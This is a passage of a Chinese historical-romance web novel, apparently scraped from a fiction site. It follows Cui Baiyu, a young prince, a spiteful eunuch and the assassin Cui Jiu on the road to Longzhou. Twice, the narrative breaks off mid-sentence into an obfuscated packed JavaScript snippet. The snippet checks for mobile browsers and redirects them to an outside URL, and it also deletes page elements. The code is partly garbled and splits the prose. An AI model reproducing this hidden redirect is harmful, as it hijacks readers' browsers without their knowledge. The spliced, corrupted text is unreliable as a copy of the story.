两人面面相觑,赵辛小心翼翼地唤了一声,“崔姐姐?” 桃酥一头雾水道:“........你是谁家小孩?” 崔白玉休息了一会儿,整个人精神许多,跟着桃酥一起探出脑袋,嫣然一笑,“快上来啊。” 赵辛眨巴一下眼睛,看了一眼崔白玉,又看了一眼周正德,抿紧嘴唇。 然而周正德对他没什么耐心,不等车夫放下脚凳,就抱起赵辛将人推进马车,催促道:“快点,别耽误时间!” 他本来是皇帝身边最得意的贴身伴当,日子过得悠闲自在,能捞的油水也多,现在被小安子安排了这么一门差事,心里别提多不舒坦了。 跟着一个不得宠的七皇子去不毛之地,这跟下放有什么区别? 小安子居然还舔着脸跟他说这是个机遇,这真要是机遇,他用得着吃这么多的苦? 周正德翻着眼皮偷瞧了崔白玉,微眯了一下眼。 倒是有个美人作陪。 马车不等里面的人坐稳,扬起马鞭狠狠一抽。 崔白玉眼疾手快的把人抱进怀里,护住赵辛,结果自己不小心磕了头。 桃酥气急败坏地想要出去教训人,结果也栽了一个跟头。 崔白玉摇了摇头,示意她先忍一下,众人一路无言。 到了晚间,马车停在城郊的一间客栈。 周正德背着手,慢悠悠的走过来,掐着尖细的嗓音,“都是因为你们,路上耽误了不少时间,现在客栈只有一间屋子,你们挤在一起罢!” 马车太晃了,赵辛胃里越发难受,脸色也开始变得苍白起来,“周公公,我,我能不能和你挤在一间,我可以打地铺的。” 他是男子,和女子住在一间岂不是坏了人家的清誉? 周正德边说着,边用手帕轻轻擦了擦嘴角,“咱家不喜欢和人同住一间,你们看着办罢。” 赵辛道:“可........” “闭嘴,人家小娘子还没说什么呢,就你多嘴,”周正德恶狠狠地瞪了他一眼,目光转向崔白玉,“小娘子,把手边的包袱递给咱家。” 崔白玉微敛了敛眼中的精芒,看了一眼马车上的包袱,不紧不慢地拎起来。 这是一场服从性测试,她最了解不过了。 只要毫无怨言地立刻执行,通过了这次初步的测试,日后在周正德眼里,她就是最好掌控的。 桃酥没说话,但不免心里头犯嘀咕:这老太监,长得尖酸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245844|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻薄,十足一只癞哈蟆。 周正德眼中闪过一丝不易察觉的满意,冷着脸,继续说道:“送到咱家屋子。” 崔白玉心里嫌弃得不行,面上却一副温顺可人的模样,连桃酥都傻眼。 桃酥拎着篮子怔愣在原地,看着崔白玉走进客栈,一脸困惑,“真奇怪,姑娘居然没给他一巴掌。” 赵辛揉了揉眼睛,小声问道:“崔姐姐生气会打人吗?” 桃酥闻言眼珠子一转,想起来时崔白玉的叮嘱,露出一个诚意十足的笑,“殿下放心,我家姑娘连路过的蚂蚁都舍不得踩。” 赵辛点了点头,看着她手里的篮子,“这是崔姐姐养的狸子吗?” “嗯,它叫小白,性格很好的,”桃酥俯下身,用哄小孩子的语气说,“小殿下想摸一下吗?” 谁都无法拒绝可爱的生物。 赵辛脸色好了许多,几次尝试伸手,担心惊动它,又试着跟它说话,“好奇怪,明明是黑色的毛发,为何要叫你小白?” 小白四脚朝天地躺在篮子里,拧着身子,忽然抬起爪子打了一下赵辛。 虽然没有露出锋利的爪子,但意思也很明显了。 生人勿近。 赵辛吸了吸鼻子,委屈道:“它好像也不喜欢我。” 桃酥顿时傻了,对方可是天皇贵胄,哪是她能惹得起的。 她捏了捏小白后颈,恨铁不成钢道:“小白!你怎么回事?崔九那厮都能摸你,小殿下这么喜欢你,怎么就不行了?” 小白没搭理她,伸了一个懒腰就继续睡了。 赵辛好奇道:“崔九是谁啊?” 小孩子的注意力就是好分散,桃酥松了一口气,不等她开口。 客栈忽然传来一声尖锐惨叫,那声音像是紧绷的琴弦,显然是周正德。 崔白玉将滚烫的开水好似不小心趴在了对方的脚上。 周正德双眼瞬间瞪得滚圆,红润的脸庞涨得紫红,指着她半天没讲出来一句完整的话,“你想害死咱家!” 屋里桌椅翻到,一片狼藉,崔白玉笨手笨脚地扶起椅子和茶杯,一脸关切道:“我扶您起来?” “你,你给我滚出去!”周正德瘫坐在地上,本想将人痛骂一顿,但怒火攻心,一口气差点没喘上来,“........来人,来人啊!” 且等着,他早晚要把人折磨死! 一场闹剧过后,众人填饱肚子就各自回了房间,桃酥和赵辛将房间仔细打扫一遍,地铺也弄好了。 崔白玉揉了揉仍在隐隐作痛的太阳穴,出来散心,旋即,特意走过去和看守马车的侍卫搭了会儿话。 等大概了解了周正德的为人和脾性,这才去别处闲逛。 只是,她还没来得及走几步,猝不及防地,被一只宽大的手掌捂住嘴拖进树林深处。 崔九面色冷白,脖颈上的青筋根根暴起,胸膛剧烈地起伏,他似乎是在极力压抑着内心翻涌的怒火,但每次呼吸都带着粗气,仿佛是一头蓄势待发的野兽。 崔白玉抵在树干上,撞得皮肉生疼的同时背脊还起了一层寒毛。 这个感觉很熟悉,她很确实对方是崔九。 月华流照,她睁开眼,对上那双狠戾的眸子,发现眼底似有寒潭千尺,但也糅杂着异样目光。 焦渴? 脑海浮现出这个词,崔白玉觉得自己应该是疯了,瞬间打消了这个念头。 可对方的目光一直紧紧锁定在她的脸上,从头到尾都没有移开,令人头皮发麻。 时间一点点的过去。 两人靠得极近,呼吸交错,清晰可闻,还有滚烫的吐息扑在脸上,崔白玉格外难熬,为了稳住身子将手搭在崔九的手臂上,明显感觉肌肉逐渐绷紧。 “???” 祖宗,你倒是说句话啊! 25. 刨白 崔白玉试探性地扯了一下他的衣物,小声问道:“怎么了?” 沉默半晌,崔九含糊不清地唤了一声:“.......崔瑜。” 气氛忽然变得很奇怪,崔白玉脑中转过七八个念头,轻扯着他的衣物,稍稍拉开些距离,嗯了一声,随后发现他的衣服是湿的,还有淡淡的血腥味,“你受伤了?” 崔九的心境渐渐平复下来,松开手转身要走。 又是这样,盯着她看了半天,然后什么都不说,留她一个人在原地发懵,崔白玉心塞得厉害,好在涵养绝佳,抓住他的手腕,“去哪?” 崔九回头看她。 崔白玉解释道:“你衣服还没干,马上就要起风了,这附近就这一个客栈,你再乱跑会感冒的。” 崔九没有说话,像是在思考。 “要不.......你跟我去马车换身衣服?”崔白玉顿了顿,“我为了出行方便,特意带了男装。” 崔九低头凝视着她,急促呼吸几下。 崔白玉默默叹了口气,错开眼神,“走吧,我不敢暴露你的身份,也打不过你。” 崔九还是没有说话,暗暗握紧了拳头。 过了一会儿,崔白玉回到客栈,天已经彻底黑了,外面风大,直往人骨头缝里吹,门口的守卫都进去了。 崔九默默跟着她进了马车。 月光从缝隙丝丝缕缕的渗进来,崔白玉翻出箱子里面的衣服,把颜色最深的一件递给崔九,还找出一瓶金创药。 她心想:这下自己的正面形象应该提升不少吧。 崔九不知在想些什么,用指尖蹭了两下药瓶,忽视了指尖余热的勾留,放置一旁。 崔白玉预感不好,嘴唇轻轻开合,带着心虚的意味,“我帮你包扎伤口?” 默然片刻,崔九没理这茬,用沙哑的声音低低道:“你觉得你能应付齐太后还是赵呈?” 果然什么都瞒不过他,崔白玉默默叹了口气,第一次明目张胆地存着心思算计,脸上揣测人的表情十分拘谨,“我不想和他们作对,也没那个资本,听命行事。” 若想让她死,他们只需要一句话的事。 崔九心情变得很烦躁,已然不想和她绕弯子,“你选的谁?” 两人目光在空气中碰撞,崔白玉勉强维持着脸上的笑意,反问道:“你觉得?” 崔九道:“太后?” 崔白玉抿了一下唇。 崔九的脸色阴沉下来,冷声道:“你想给那个蠢货陪葬?” “人家好歹也是太子,怎么到你这一口一个蠢货?”崔白玉肘尖支着桌沿,一缕碎发垂下脖颈,避开他的目光,垂眸捻着手里的头发,“太后明知道我和他有关系,却还让我跟着七殿下,你知道原因吗?” 利益永远是最能打动人心的,但崔白玉不一样,除了另有所图,崔九越想心里堵得越厉害,紧紧地盯着她的一举一动,“什么?” 崔白玉听出了一丝的威胁意味,无奈道:“我可以告诉你,但我能问你一个问题吗?” 崔九眉心微蹙,沉声道:“你讲。” 其他都可以,只有他的身份,一个字都不会说。 崔白玉深吸一口,坐直了身子,十分诚恳道:“我能信你吗?” 虽说崔九性格怪异,不善言辞,但也算个好人,而且实力不容小觑。 当然了,最令她动容的是,崔九离开京城过来寻她。 居然是崔九。 崔白玉深谙世事,知道方叙言和赵呈对她多少有点意思,但他们需要顾及的东西太多了。 官场斗争错综复杂,各方势力为了权力和利益明争暗斗,皇位,家族……和这些相比,她显得无关紧要。 否则,赵呈也不会把她拉入局中。 崔白玉抬眸看他,不由得神色恍惚。 她是不是也可以选择相信崔九? 崔九一愣,深知她是遇软退三尺,迎风能进三丈的人,此时坦言,倒真是令人捉摸不透了,过了良久,他道:“可以。” “太后许给我一个天下女子都会趋之若鹜的好处,她说事成之后,让我做皇后,”崔白玉笑了笑,“但我谁都不想选,我想脚踩两只船,谁赢了我就把七殿下交给谁。” 还想做皇后?做寡妇倒可以,崔九心中冷笑,“那个蠢货呢?” 崔白玉心中倍感凄凉,幽幽地说道:“还不是被人利用,伤人至深,让太子殿下多年累积的成果毁于一旦,这件事我当然要有个交代了,你觉得呢?” 那夜,赵呈已经警告她了,无论如何都要保护好赵辛。 事已至此,崔白玉自然不会昧着良心,去做伤害赵辛的事。 “冰冻三尺非一日之寒,他走到今天这一步都是自找的,”崔九垂着眸也看不出在想什么,“春兰舞坊的尸体对不上,他已经提前转移了一半的人,太后被骗了。” 崔白玉揉了揉眉心,内心隐秘地升起了一丝自惭形秽,不想再说这茬,“你先把衣服换上吧。” 她心里就是过不了这个槛。 崔九神色冷静,接到衣服的那一瞬间,便嗅到了上面有崔白玉身上的气息,感觉手心酥酥麻麻的,连手臂上的伤痛都掩盖了。 他道:“京城已经派人暗中行刺了。” “居然这么快就走漏了风声?”崔白玉心中一凛,“我以为太子殿下和太后会派人暗中保护。” 崔九漠然道:“对于杀手而言,杀死一个孩子是最简单的任务。” “难怪周正德急着赶路,”崔白玉仔细看了他片刻,发现衣服上被刀剑划破的口子,瞬间就明白了,那些刺客是他拦下的。 可衣服为什么会湿了? 她道:“那你会保护我吗?” 温和的声音十分悦耳,崔九动了动眼皮,语气没有丝毫起伏,“你觉得呢?” 崔白玉是一双桃花眼,笑起来会生出三分媚态,“我觉得你应该是个善良的小公子。” 崔九嗤笑了一声,脸带着上位者的严肃和凛然,没再说话。 崔白玉见好就收,斟酌片刻,低声道:“那你跟我去陇州总的有个身份吧?不然周公公问起来,我不好交代,还伪装成侍卫吗?” 崔九忽然脸色阴沉下来,目光在她脸上一寸寸慢慢移动,“你还想让我给你当侍卫?” 崔白玉心讨了个没趣,敛眸垂睫,过了一会儿,不由得有些心疼,语重心长道:“我完全能体会你现在感受,暗恋这么多年,却还是走不到一起,伤心是在所难免的,可有的人就是这样,有缘无份,抱恨终生,可你年纪还小,未来的路很长,将来你一定会遇到更好的人,收获属于自己的幸福。” 崔九咬牙道:“理解我的感受,你喜欢过谁?” 崔白玉一时没跟上他的脑回路,以为他是拉不下脸来虚心求教,所以态度才有些强硬,“仔细想想,倒也说不上多喜欢,但确实心动过,当时我们正在谈一个项目,大家聚在一起没日没夜的收集资料,参加各种各样的酒局拉拢人脉,最后是在一个晚上成功拿下,那时候,我已经两天没合眼了,通宵修改完合同,大家都累的睡下了,只是有他注意到我肠胃不舒服,给我做了一道中式早餐。” 崔九大抵能听懂,道:“一顿早饭?” “异国他乡,再加上,长这么大从来没有给我做过早饭,”崔白玉默默叹了口气,“我也后来才知道,我们做项目他全程摸鱼,那时候他是刚睡醒......我居然感动成了狗。” 心动是件很简单的事,所以 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桃酥习以为常道:“反正我睡的时候她还没回来,应该过了子时,别担心,她就是个夜猫子,白打瞌睡,晚上睡不着。” 赵辛一脸困惑,“这样休息会不会对身体不好?” “她说以前的夜生活很丰富,不像现在,我听不懂,”桃酥努了努嘴,“而且我也劝不动她。” 两人正说着话,周正德杵着拐杖走过来,斜睨了他们一眼,“聊什么呢?还不赶紧收拾东西走了,等咱家请你们吗?” 一大早就过来找晦气,桃酥说道:“寅时刚过,昨天不是说卯时才启程吗?” “咱家说什么便是什么,你这贱婢也敢找咱家的不是?”周正德因为烫脚一事,憋了一晚上的火气没处发泄,他看了一眼旁边的侍卫,厉声道,“掌嘴!” 侍卫听言上前拿住人。 桃酥顿时吓坏了,心头浮现出恐惧,下意识要呼救却被堵上了嘴。 周正德笑了一声,紧接着,就听到上方传来质问,“周公公,动我的人,是不是得提前和我说一声?” “这丫鬟出言无状,显然是崔姑娘管教不力,咱家替你约束一二也是为你好。”周正德一看到她心里就恨得牙痒痒。 “我敬你是长辈,才唤一声周公公,可你却得寸进尺,我又如何尊老爱幼?”崔白玉缓步走下楼梯,走到周正德面前,“去陇州督办确实不是好差事,事情做不成谁都回不去。” 周正德接到太后密令,此次行动表面上是安抚陇州民变,实际上是秘密转移赵辛。 一个小废物还用得着花费这么多心思?他有些想不通,但也只能照办。 可为什么要带上崔白玉?她又充当的什么角色? 小安子说话藏着掖着,临行前也没说太多,只是让他盯着些,可依据他的观察,这一路上崔白玉确实照顾赵辛,此事她很有可能是知情的,“怎么,你想在那种鸟不拉屎的地方待一辈子?” 崔白玉揉了揉酸疼的肩膀,“我们的想法是一致的,所以周公公不必为难我。” 周正德脸微微扬起,阴毒刻薄性子发作得厉害,“咱家今日就要教训这不懂规矩的丫鬟,你能如何?” 对视的一刹那,崔白玉眼里闪过一丝尖利的寒意,“我以为周公公知进退。” 周正德微眯了一下眼睛,正要继续发作,忽然一枚暗器擦过脖子,渗出丝丝血迹。 那一瞬间寒意顺着毛孔直钻心底,让他觉得死亡近在咫尺,周正德瞳孔急剧收缩,仰头望着崔白玉身后出现的身影,捂住了脖子,发出刺耳的尖叫。 崔白玉道:“周公公,下次回到京城,谁在谁脚下还不一定呢。” 26. 夜宿 河水潺潺流淌,微风轻拂,带来丝丝凉意。 崔白玉打了个喷嚏,揉了揉鼻尖,弯下身在溪边洗了把脸,眼珠蒙上一层水光。 正准备拖鞋,忽然听见身后传来的脚步声,回头看见人,微微一愣,“崔九?” 那人站在在一片明暗斑驳的阴影里,一言不发地看着她。 崔白玉心中困惑,往日里他都是走路无声,今日怎么会有足音? 她小声问道:“.......来找我?” 崔九下意识握住右手腕,低沉的声音中夹杂着一丝戾气,道:“不是。” 声音听上去平静的没有一丝波澜,给人一种极其冷峻的感觉。 崔白玉勉强笑了笑,看见他眼底浮现出一片殷红,不走心地问了一句,“你身体不舒服?” “没有。”崔九摘下面具,走到溪边也洗了下脸。 溪水清凉沁入肌理,人清醒不少。 崔白玉递给他一条帕子,“没用过。” 崔九紧绷的肩背线条稍微松了松,抬眸看着她,眼神好似在询问。 “我想来这里洗澡。”崔白玉无奈的耸了耸肩头,“但水太冷,没洗成。” 崔九收回视线,起身往回走,没听见脚步声,回头看她,“做什么?” 意思是跟他一起离开? 崔白玉带着一丝小心翼翼的试探,道:“我在那边发现野鸡窝,做了一个陷阱。” 崔九停下脚步,道:“哪里?” 崔白玉想起那个惹人发笑的陷阱,抬手轻轻揉着自己的头发,指了一个大概的方向,“........那边。” 崔九朝着她手指的方向走去。 崔白玉心下一惊,反应过来,提着裙子就追了过去,小声咕哝道:“你这样会把我的鸡吓跑的。” 两人一前一后地走到灌木丛旁边,崔九四下望了一圈,目光落在地上两片突兀的叶子,其中,还有一片叶子被风吹歪了,露出一半的窟窿,他嫌弃道:“你觉得你这个陷阱能抓到东西?” 崔白玉知道陷阱有些简陋,可看到崔九一脸不屑的语气,又硬气了,“愿者上钩,我就现在这里不动,也会有东西掉下去的。” 崔九:“........” “我肯定能抓住的,你回去等着就好了。” 话音未落,崔白玉眼前一亮,看见一只野兔正在靠近陷阱,她立即拽着崔九躲在一颗树后面。 她扒着崔九腰上的衣服,探头观察,目光雪亮。 许是太着急那只野兔,忽略他急促有力的心跳。 朦胧的月光倾洒而下,二人此时凑得很近,远远望去,好似拥抱在一起,关系极为亲密。 崔九半边脸浸在黑暗的阴影当中,手臂肌肉绷得紧实,垂下眸,目光不经意间扫过崔白玉白皙的后颈,禁不住皱了皱眉头。 野兔在陷阱附近徘徊,反复试探,反正就是不靠近陷阱,眼看着她的豆子都快被吃没了,野兔也没掉下去。 崔九神态转眼恢复如初。 崔白玉恨恨地咬牙,猝不及防地,野兔居然直愣愣地倒进陷阱。 这是吃豆子噎住了? 如果真是这样,那可就太活该了,谁让这豆子可是她顶着中午的太阳在路边捡了一个时辰。 崔白玉紧张的脸上满是不可置信,松开手,跑上前去查看。 崔九眼里的情绪还没有完全散去,身上也还留着崔白玉的气息。 开春的野兔都很肥,崔白玉搓了搓手,蹲下身酝酿片刻,准备伸手抓野兔,不料,崔九先她一步捉住了野兔。 崔白玉按捺不住激动,屁颠屁颠地跟在他身后,唇角勾起淡淡地笑,道:“你刚才是说我的陷阱抓不到东西是不是?” 崔九不动声色地拔掉野兔上银针,没搭理她。 崔白玉轻哼一声,跟着他去了溪边。 大约过了不到一刻钟时间,崔九剥好野兔,崔白玉也生好了火堆。 两人一直没话。 崔白玉拿余光偷偷瞟着他,忽然发现这人长得也挺好看的,眉下双眸狭长而深邃,鼻梁高耸挺直,侧脸轮廓锋利,侵略意味十足。 容貌仪态皆是绝佳,虽说只有十五岁,但身高腿长,个子已经和方叙言的身高相差无几,身材也不错,还有结实腹肌....... 当然了,腹肌是上次在马车里,她不小心摸到了,并非是偷看。 倘若性子再温和些,肯定会有很多女子喜欢。 不知不觉间,崔白玉已经是光明正大且目光炙热地盯着人看了。 崔九眼里还有未退的血丝,不咸不淡地瞥了崔白玉一眼,“看什么?” 崔白玉撒谎从来不打草稿,在方叙言面前装纯,无疑是为了塑造一个柔弱娇羞的女子,她给自己找了一个非常合适的借口,“看面相呢。” 崔九道:“说说。” 崔白玉:“........”怎么和她想的不一样。 按照往常,崔九不应该是那种,三分凉薄,六分讥笑,一分杀意,然后骂一句蠢货么....... 最近怎么如此反常? 崔白玉移开了目光,不知为何有些不安,但也不好再改口,“相由心生吗,你长得挺好看的,虽然过往坎坷,但只要果敢抉择、不忘初心,未来一定会突破困境,就像同龙游浅滩,遇风云而腾飞,一朝得势,名震天下.......嗯,姻缘吗,这个需要说嘛?” 崔九道:“说。” 崔白玉微微挑了一下眉,“你知道什么是红鸾星动之象吗?” 崔九往火堆里添了一块柴火,抬眸看她。 崔白玉本来意兴阑珊,结果看到崔九眼神里的警告,让她恶向胆边生,崔白玉深吸一口气,眼底有些促狭,故作神秘道:“你最近是不是喜欢上了一个姑娘?” 崔九皱着眉头看她。 崔白玉勾了勾手指,示意他把手伸过来,然而崔九没动,她也不敢上手,只是继续说道:“每个人能都有自己命中注定的缘分,但只有在合适的时机才会显现出来,而你,此时此刻已然被一条无形又坚韧的红线紧紧缠绕。” 崔九微眯了一下眼睛,正在想怎么让她闭上嘴。 崔白玉眼底闪着一点凄冷的光,同情道:“你们两个人适逢其会,情意拳拳,现在可是想见她?” 崔九道:“想杀了。” 崔白玉:“........”希望你孤独终老。 两人一时无话,百无聊赖之际,她起身去树林捡来一些柴火。 再回来时,兔肉已经烤出了香味,崔九在上面划了几刀方便入味,崔白玉看他剥兔子,烤兔的手法干净利落,不由地问道:“你以前经常在外过夜吗?” 崔九没回应。 崔白玉懒洋洋地靠在石头上,长长地喟叹了一声,“这下马车里的两个哭包有口福了。” 崔九闻言,脸色顿时便不好看了,双眼犹如深不见底的黑洞,“谁?” 崔白玉仰头望着夜空的星星,并未察觉到崔九脸上的情绪,“桃酥和七殿下啊,一个比一个能哭,所以我就出来寻摸点野味,还有小白,喝粥都喝瘦了。” 崔九收回匕首,站起身。 崔白玉:“!!!” 气势惊人,她差点从石头上滑下去,磕巴了一下,问道:“怎,怎么了。” 崔九不动声色地看她,“自己烤。” 怎么突然就翻脸了?崔白玉没来由地心虚,抬手拽了拽他的袖子,带着些乞求的意味,“我烤就糟蹋了。” 崔九冷声道:“那就扔了。” 崔白玉见他转身要走,慌乱之间,下意识地抓住了他的手腕,“别啊,都烤一半了,怎么能浪费呢?” 崔九被扯到了伤口,但也不怎么在意,他只是紧紧地盯着那只纤细修长的手,眼神变得愈发阴森可怖,仿佛是散发着幽绿色光芒的鬼火。 那只手上面沾上了他伤口渗出来的污血。 崔白玉感觉手上沾了黏糊又温热的液体,皱了一下眉,收回手,反应了一下,“你昨夜没包扎伤口——” 不等她把话说完,崔九将人拽起来,带到溪水边给她洗净了。 且反反复复地洗了几次,手都给她搓红了。 崔白玉没吭声,察觉到他情反常也没再多问。 每个人都有不堪回首的过往和心理阴影,她不能分担,说出来没有任何意义。 她道:“我不晕血,只是不习惯而已,我还是给你包扎一下吧。” 崔九胸膛缓缓起伏,思绪一片空白,而萦绕在指尖的热意也无声无息地消散了。 他冷道:“不必。” “你帮我烤兔子,我当然也得为你做点什么。”崔白玉微微抽了口气,把人原路带回,叮嘱了几遍,回到马车找来了金创药和缣帛。 崔九盯着手臂上的刀口,忽然从疼痛中感受到了一丝愉悦。 当时没有躲开那一刀,看来是正确的。 不多时,崔白玉跑过来,小心翼翼地解下护腕,洒上药粉后,用缣帛一圈圈缠扎。 包扎过程中,声音也跟着放轻了些,“险些牵动筋骨脉管,最近不要干重活,还是静养得好。” 崔九面色不变,没有说话。 安静一阵,崔白玉道:“能把匕首借我用一下吗?忘记带剪刀了。” 对于杀手而言,刀无论如何都不会离身,崔九完全可以自己割下来的,但还是匕首交给了她。 崔白玉接过去之后,拿着很吃力,好在匕首足够锋利,轻轻一碰就割开了,没有丝毫阻碍。 刚才有碰到吗?震惊之余,崔九已经把匕首收回去,继续烤兔子。 然而崔白玉折腾了半天,已经生出了困意,待她收拾好东西,就靠在旁边的石头上,“烤熟了能不能叫我?” 崔九垂下眼眸,寡淡的脸上没有表情,淡淡地应了一声。 崔白玉伸了伸腿,枕着手臂准备眯一会儿。 火堆旁边足够暖和,身上还有桃酥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273122|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准备的荷包防止蚊虫叮咬,不消片刻,崔九就听到了平缓的呼吸声。 他感觉到血慢慢从喉咙里渗出去,把野兔移至一旁,嗅了嗅周围似有若无的檀香,心绪渐渐平复下来。 是崔白玉身上的气息。 崔九盯着她看了一会儿,很快,人就睡死过去,且暴露了睡姿。 崔白玉嫌石头太硬本能的寻找温软的地方。 果不其然,寻寻觅觅,崔九的大腿上就多了一个脑袋,那人挪了一会儿,调整到一个舒服的睡姿才不动了。 翌日清晨,崔白玉迷迷糊糊地把眼睛微微睁开一条缝,又闭上了,发出一声满足的轻叹。 眼光没有刺眼,还可以再睡。 崔九动了动手指,最终还是把人拽了起来。 然而崔白玉雷打不动,靠在石头上接着睡。 崔九嘴角抽了一抽,感觉天塌了她也能无动于衷,“崔瑜。” 崔白玉发出一声含糊不清的呢喃,没醒。 不知为何,崔九忽然体会到了桃酥的苦楚,过了一会儿,兔子已经又烤了一遍,崔白玉还是睡得昏天黑地,崔九实在忍无可忍,径直把人拎起来扛了回去。 桃酥见到这一幕,目瞪口呆地端着粥碗,半晌才反应过来,“姑娘昨晚.......睡在外面?” 赵辛默默点了一下头。 崔九将烤好的兔子递给桃酥,什么都没说就离开了。 桃酥放下烤兔子和粥碗,赶忙去马车里查看,“姑娘?” 崔白玉裹着自己粉色的小毯子,含糊不清地嗯了一声,小白也窝在她旁边睡觉,闭着眼嗷了一声。 显然,已经有随主的迹象了。 桃酥关切道:“姑娘你没事吧?” 崔白玉睡梦中转醒,睁开眼,眼皮还带着些许沉重,“我的兔子呢?” 桃酥道:“崔九拿过来了。” 崔白玉道:“你们分吧,让我再睡会儿。” 桃酥险些感动落泪,没想到,她家姑娘为了自己烤了一夜的兔子! 果然,她没有认错主子! 从京城到陇州要走一个月的路,周正德虽然脚上受了伤,但为了赶紧回去复命,一咬牙愣是忍下来了。 而且他还有要务在身,半点马虎不得。 周正德昨夜就派人去找崔白玉了,但没能找到人,这荒山野岭的,遇到狼倒还有些应对办法,可要是遇到狗熊,那就毫无还手之力。 他只得收回人手,多派些人监视赵辛和桃酥。 刚才听侍卫汇报,崔白玉被一个侍卫扛回来,周正德抬手一拍桌子,冷然一笑,“这两人果然有奸情!” 侍卫道:“公公打算如何处理二人?” 周正德眼中贼亮的光芒一闪,“处理谈不上,重点是有把柄捏在手里,女子吗?最看重的无疑是自己的贞洁,这把柄拿捏崔白玉和崔琅华绰绰有余,日后,更是谈判的资本,你且派人盯紧些,最好找到两人私通的证据。” 侍卫点了点头,不解道:“公公,这还需要证据吗?到时候一验身不就明白怎么回事了。” 周正德咕噜咕噜一口气喝干一盅茶水,斜睨了他一眼,“你到现在都不明白,咱家到底在查谁。” 侍卫思虑片刻,把惊愕的目光投向了周正德,问道:“是那个侍卫?” “咱家的感觉向来都很准,”周正德停顿了一下,掀开帘子望了一眼赵辛,“一定是在宫里见过他,甚至见过很多次。” 既然在宫里见过多次,那除了太监就是皇子皇孙,侍卫神经质地揩了揩额头,“公公怀疑他是太后身边的太监?” 太监?周正德恨铁不成钢地瞪了他一眼,“你觉得太监能长出那样的身板?” 是了,太监被阉割后,身体条件会发生显著的变化,无论是身材,相貌,皮肤,无一不会受到影响。 崔白玉再醒来的时候已经是中午了,途中跟着马车摇摇晃晃,睡得极不安慰,莫名有点想念谁在石头上的感觉。 她伸了一个懒腰,在驿站周围闲逛,岂料,在马厩旁边偷听一群小太监议论,有了意外收获。 “清明节也过去了,也不知道相国寺昨天举行驱邪仪式了没?” “肯定会啊,你可别忘了,昨日可是小太子的忌日,每年的这个时候,陛下都会亲自前往相国寺悼念。” “是啊,小太子可是陛下最看重的皇子,自从人没了,陛下除了那几天在相国寺露面,剩下的时间都在乾元殿吃斋念佛,谁都不见,朝政都是太后代为打理。” “还是打击太大了,那场鬼火,将陛下毕生的心血都烧没了。” “谁不觉得可惜,当年的小太子才智过人,温文儒雅,慈仁殷勤,六岁的时候陛下就任命了一大批重臣兼任他的东宫佐官,这就足以见的陛下的重视,谁能料到老天无眼呢。” 崔白玉侧耳听着,不经意间看了一眼走过来的崔九,她被这目光刺得心脏瑟缩了一下,然后就被他直接捏着她的腕子,拽了别处。 27. 疯病 崔白玉一头雾水地跟着他回到房间,问道:“怎么了?” 崔九没回应。 正巧桃酥掀开帘子从里头走出来,一脸欣喜地抱着一摞小本子,“姑娘,奴婢给你找来一点路上解闷的东西。” 崔白玉见崔九又是一脸不高兴的模样,没再细问,但也暗暗记下此事。 之前也是这样,提到赵丞,情绪波动就十分厉害。 想来这二人之间是有某种关联的。 她转身看向桃酥,不以为然地挑了挑眉,“你拿的什么东西?” 桃酥笑道:“奴婢方才在小厨房教老板娘做点心,然后老板娘送奴婢一些话本子,这些话本子都是她女儿爱看的,现在嫁人了,也就用不着了。” 崔白玉去桌前翻了看一下,嘴角略微抽搐,小声念了出来,“太子爷的逃婚宠妾,长兄爱我如命,千金小姐和侍卫.......” 还没说完,她就把第三本盖上了,不知道该说什么才好。 崔九的耳力本就不同于寻常人,他不动声色地盯着崔白玉。 桃酥笑了笑,凑到她耳边,“姑娘你之前看这些可从来不害羞的,老板娘说千金小姐和侍卫那本书是现在最火热的,当时还是托人买的,奴婢看了一下,写的确实挺让人脸红心跳的,玩花样也多........不亏是姑娘最喜欢的话本作者!” 害羞?崔白玉长这么大都不知道害羞两个字怎么写。 不过,讲真的,崔白玉并不喜欢看小说,而她之所以看完三万字的《为君折腰》,是因为这个东西出现在了她的邮箱。 知道她邮箱的都是老板的朋友或者客户,虽然没有邮件署名,但为了以防万一,她一字不差地看完了。 桃酥也是一片好心,崔白玉没多说什么就收下了。 崔九不动声色地移开了眼睛。 桃酥抱起话本子准备搬回马车,忽然想到了什么,问道:“对了,咸鱼姑娘之前还和你一起在京城逛玉亭湖,她没和姑娘说什么时候写下一本书吗?” 崔白玉一愣,“她叫什么?” 桃酥停下脚步,回头看她,狐疑道:“她的笔名叫卷死你的咸鱼,姑娘忘记了?” 卷?这个时代应该还没有内卷的概念吧,崔白玉闪动的目光投向,急切地问道:“她现在在何处?” 崔九道:“先下去。” 低沉磁性的声音响起,桃酥睁大眼睛看他,脸上满是不服。 崔白玉感到莫名其妙,拍了拍桃酥的肩膀,哄道:“听话,先去用饭。” 桃酥糊里糊涂的,感觉两个人的关系,好像在她不在的时候升温了。 她离开屋子后又带上了门。 回回坏她好事,崔白玉正要开口质问。 崔九冷不丁地说道:“崔白玉把人杀了。” 亲手杀的。 崔白玉:“........” 这线索是不是断的太快了? 她不甘心又问了一遍,“你确定?在哪杀的?” 崔九定定地看着她,漠然道:“玉婷湖后山,现在挖还能挖到尸体。” “你..........为什么不拦一下呢?”崔白玉揉了揉眉心,脸色变得很难看,“你知道关于她的信息吗?” 崔九道:“可以帮你查,有条件。” 崔白玉有些心神不宁,道:“你说。” 